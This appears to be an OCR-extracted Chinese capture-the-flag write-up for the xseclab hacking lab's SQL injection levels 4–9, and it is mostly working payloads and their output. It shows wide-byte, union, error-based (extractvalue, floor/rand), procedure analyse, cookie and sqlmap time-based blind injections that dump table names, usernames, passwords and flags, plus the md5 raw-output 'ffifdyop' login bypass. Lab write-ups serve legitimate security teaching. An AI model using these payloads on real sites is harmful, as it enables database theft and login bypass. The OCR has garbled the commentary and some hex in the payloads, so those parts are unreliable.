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tips: id=I
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http://labl.xseclab.com/sqli4 9b5a929e00el22784e44eddf2b6aalad/index.php?id=1

/ /AR R BT REAN K

http://labl.xseclab.com/sqli4 9b5a929e00el22784e44eddf2b6aalad/index.php?id=1%27

/ /R B AFE T FTWIEAN

http://labl.xseclab.com/sqli4 9b5a929e00el22784e44eddf2b6aalad/index.php?id=1%df%27

/ ENFBKE

http://labl.xseclab.com/sqli4 9b5a929e00el122784e44eddf2b6aalad/index.php?id=1%df%27 order by 3%23

//3RIBRHMEAIREE, BAANIER, ARRRIRE

http://labl.xseclab.com/sqli4 9b5a929e00el122784e44eddf2b6aalad/index.php?id=1%df%27 order by 4%23

/ /IREUE N2, 3

http://labl.xseclab.com/sqli4 9b5a929e00el22784e44eddf2b6aalad/index.php?id=1%df%27 union select 1,2,3%23
//3RBR S5 B 2,5ae_user_sqlid

http://labl.xseclab.com/sqli4 9b5a929e00el122784e44eddf2b6aalad/index.php?id=1%df%27%20union%20select%201,2, (sele
ct%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

/ /R FBAE B

http://labl.xseclab.com/sqli4_9b5a929e00e122784e44eddf2bb6aalad/index.php?id=1%df%27 union select 1,2, (select gro
up_concat(column_name) from information_schema.columns where table name=sae_user_sqli4)%23

/] LR, KBRLENL6HHIHEN, 532, id,title_1,content_1
http://labl.xseclab.com/sqli4_9b5a929e00el122784e44eddf2bb6aalad/index.php?id=1%df%27 union select 1,2, (select gro
up_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934)%23
//BEEFRKESL

http://labl.xseclab.com/sqli4_9b5a929e00el122784e44eddf2b6aalad/index.php?id=1%df%27%20union select 1,2, (select c
ount(*) from sae_user_sqlid) %23

//13%Iflag

http://labl.xseclab.com/sqli4_9b5a929e00el122784e44eddf2b6aalad/index.php?id=1%df%27%20union select 1,2, (select g
roup_concat(title 1,content_1) from sae_user_sqlid) %23
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//unionyEA

?start=0 union select 1%23&num=1

kS

Incorrect usage of UNION and ORDER BY

Warning: mysql fetch row() expects parameter 1 to be resource, boolean given in sqli5 5ba@bba6a6d1b30b956843f757
889552/index.php on line 51

//Fprocedurei&f]

?start=0 procedure analyse(extractvalue(rand(),concat(l, (select group_concat(table_name) from information_schema
.tables where table schema=database()))),1)%23&num=1

//REIER  ERBBEEFEFHAIRE: articlefluser

XPATH syntax error: 'article,user’

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5 5ba@bba6a6d1b30b956843f757
889552/index.php on line 51

/ /B userRHHIFBR (5SS ET, EH168tHMasciifwiiRrRE)

?start=0 procedure analyse(extractvalue(rand(),concat(l, (select group_concat(column_name) from information_schem
@.columns where table name=0x75736572))),1)%23&num=1

/ /38 BB

XPATH syntax error: 'id,username,password,lastloginIP’

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5 5ba@bba6a6d1b30b956843f757
889552/index.php on line 51

//EF username

?start=0 procedure analyse(extractvalue(rand(),concat(l, (select group_concat(username) from user))),1)%23&num=1
//FAflag

XPATH syntax error: ‘'user,admin,flag’

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5 5ba@bba6a6d1b30b956843f757
889552/index.php on line 51

//EF password

?start=0 procedure analyse(extractvalue(rand(),concat(1, (select group_concat(password) from user))),1)%23&num=1
/ /] B A flag
XPATH syntax error: ‘'user,admin,myflagishere’

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba@bba6a6d1b30b9568431757
889552/index.php on line 51
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view-source:http://labl.xseclab.com/sqli6_f37ad4a60ad4a234cd309ced48ced45b9b00/images/dogl’ . jpg

/3 RIEFIEN

view-source:http://labl.xseclab.com/sqli6_f37ad4a60ad4a234cd309ced48ced45b9b00/images/doglkdf. jpg

/ /IR IEE B

Illegal mix of collations (utf8 general ci,IMPLICIT) and (gbk chinese ci,COERCIBLE) for operation '='<br />
<b>Warning</b>: mysql fetch row() expects parameter 1 to be resource, boolean given in <b>sqli6 f37a4a60ada234c

d309ce48ce45b9b00/images/myimagesl.php</b> on line <b>18</b><br />

/[ 1RPE4

http://labl.xseclab.com/sqli6_f37a4a60ad4a234cd309ced48ce45b9b00/images/catl. jpgkbf%27%20union SELECT 1,2,concat(u
ser(),0x20,database(),0x20,version()),4 limit 0,2%23

/ /1B [E{E B

saeuser@l23.125.23.212 mydbs 5.6.42

/[ 1BRRA

http://labl.xseclab.com/sqli6_f37a4a60ad4a234cd309ced48ce45b9b00/images/catl. jpgkbf%27%20union SELECT 1,2,TABLE_NA
ME,4 FROM information_schema.TABLES%20where%20table SCHEMA=0x6d79646273 limit 1,1%23

/ /1B [E{E B

pic

/ /123

http://labl.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/catl. jpgkbf%27%20union SELECT 1,2,COLUMN_N
AME ,4 FROM information_schema.COLUMNS%20@where%20table_NAME=0x706963 limit 1,1%23

/ /IR EE B

picname

/[ BRFBAR

http://labl.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/catl. jpgkbt%27%20union SELECT 1,2,picname,
4 FROM pic limit 2,5%23

/ /IR EE B

flagishere_askldjfklasjdfl. jpg
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/ /BB A5 . 6.42

http://labl.xseclab.com/sqli7_ b95cf5af3a5fbecad2564bffc63e92e5/index.php?username=admin' and(select 1 from(selec
t count(*),concat((select (select (select concat(@x7e,version(),0x7e))) from information_schema.tables limit @, 1]
),floor(rand(@)*2))x from information_schema.tables group by x)a)%23

/ /B4R saeuser@220.181.129.121
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.php?username=admin’' and(select 1 from(selec
t count(*),concat((select (select (select concat(@x7e,user(),0x7e))) from information schema.tables limit 0,1),f
loor(rand(@)*2))x from information_schema.tables group by x)a)%23

// ZETEAEE mydbs

http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (select concat(@x7e,database(),0x7e))) from information_schema.tables limit o,
1),floor(rand(@®)*2))x from information_schema.tables group by x)a)%23

/ /1% information_schema, mydbs, test
http://labl.xseclab.com/sqli7_b95cf5af3a5fbeca®2564bffc63e92e5/index.phprusername=admin' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,schema_name,@x7e) FROM information_schema.schemat
a LIMIT ©,1)) from information_schema.tables limit ©,1),floor(rand(@)*2))x from information_schema.tables group
by x)a)%23

http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,schema_name,@x7e) FROM information_schema.schemat
a LIMIT 1,1)) from information_schema.tables limit ©,1),floor(rand(@)*2))x from information_schema.tables group
by x)a)%23

http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,schema_name,@x7e) FROM information_schema.schemat
a LIMIT 2,1)) from information_schema.tables limit ©,1),floor(rand(@)*2))x from information_schema.tables group
by x)a)%23

/ /&% log, motto, user

http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,table_name,@x7e) FROM information_schema.tables w
here table_schema=database() LIMIT ©,1)) from information_schema.tables limit @,1),floor(rand(@)*2))x from infon
mation_schema.tables group by x)a)%23
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,table_name,@x7e) FROM information_schema.tables w
here table_schema=database() LIMIT 1,1)) from information_schema.tables limit @,1),floor(rand(@)*2))x from infon
mation_schema.tables group by x)a)%23
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,table_name,@x7e) FROM information_schema.tables w
here table_schema=database() LIMIT 2,1)) from information_schema.tables limit @,1),floor(rand(@)*2))x from infon
mation_schema.tables group by x)a)%23

//BFB id, username, password
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.phprusername=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,column_name,@x7e) FROM information_schema.columns
where table_name=0x75736572 LIMIT ©,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from infon
mation_schema.tables group by x)a)%23
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.php?username=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,column_name,@x7e) FROM information_schema.columns
where table_name=0x75736572 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from infon
mation_schema.tables group by x)a)%23
http://labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/index.php?username=admin’' and(select 1 from(selec
t count(*),concat((select (select (SELECT distinct concat(©x7e,column_name,@x7e) FROM information_schema.columns
where table name=0x75736572 LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from infon
mation_schema.tables group by x)a)%23

% Lk

http://labl.xseclab.com/sqli7_b95cf5af3a5fbeca®2564bffc63e92e5/index.php?username=admin’' and extractvalue(1l, con
cat (0x7e, (SELECT distinct concat(©x23,username,0x3a,password,®x23) FROM user limit ©,1)))%23

/| KB key

key#notfound!#
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python2 sqglmap.py -u "labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/blind.php?username=admin"

Parameter: username (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=admin’ AND (SELECT 3640 FROM (SELECT(SLEEP(S)))MHgj) AND
ATmA " ="QTmA

python2 sqlmap.py -u "labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/blind.php?username=admin"” --dbs

[ > [INFO]

web application technology: Hginx

back-end DBMS: MysQL >= 5.8.12
fetching database names
fetching number of databases
resumed: 2
resumed: information_schema
resumed: mydbs

available databases [2]:

[#] information_schema

[#] mydbs

python2 sqlmap.py -u "labl.xseclab.com/sqli7_b95cf5af3a5fbecad2564bffc63e92e5/blind.php?username=admin” -D mydbs
--tables

Database: mydbs
[3 tables]

| log
| motto

python2 sqlmap.py -u "labl.xseclab.com/sqli7_b95cf5af3a5fbeca®2564bffc63e92e5/blind.php?username=admin” -D mydbs
-T motto --columns




)
Database: mydbs

Table: motto
[3 columns]

vaschar(200)
varchar(200)

python2 sqlmap.py -u "labl.xseclab.com/sqli7_b95cf5af3a5fbeca®2564bffc63e92e5/blind.php?username=admin” -D mydbs
-T motto -C motto --dump

Database: mydbs
Table: motto
[4 entries]

happy everyday
keyinotfound!#
mymotto

hothing hel@a@

SQLIENIEH BT
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/ /BB FBRKE
Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=2 order by 4
/ /133 B AL
Cookie: PHPSESSID=9f5169cbfb23ef8el10ca86f02cae97c9;id=0 union select 1,2,3
/ /15 B BHE RS B
Cookie: PHPSESSID=9f5169cbfb23ef8el0ca86f02cae97c9;id=0 union select 1,2, (select group_concat(table_name) from i
nformation_schema.tables where table_schema=database())
//BEIEER
: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2, (select group_concat(column_name) from

information_schema.columns where table_name='sae_manager_sqli8")

: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97¢c9;id=0 union select id,username,password from sae_manager_sqli8
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E A==
md5() k¥, HE-ANSENtruert, SIREI6FRH ZiHIKR. ZoNfalse IR, REFHEI2F/RTNEHE. B2
falset® = .

md5("123456"); //elBadc3949ba59abbe56e057f20f883e

md5("123456",true); //© VIIOYOOVOWNOO>

LS H Atrue IRHE, md52 )5 KE S ELD.
4 R Emd5(str.true) 2 JEFIEREE T or IR E, HasqiEf &2 Aselect 8 from users where usrid="XXX" and
password="or", HIMEAILAGEE T . FAXFEMISrZ T RAAEL? FRBTHEE—, BiAffifdyop.

http://labl.xseclab.com/codel 9f44bab1964d2f959cf509763980e156/?userid=1&pwd=Ffifdyop

%% hitps://blog.spoock.com/2016/07/18/hackinglab-sqli-writeup/



	注入关
	注入关1
	注入关2
	注入关3
	注入关4
	注入关5
	注入关6
	注入关7
	注入关8
	注入关9


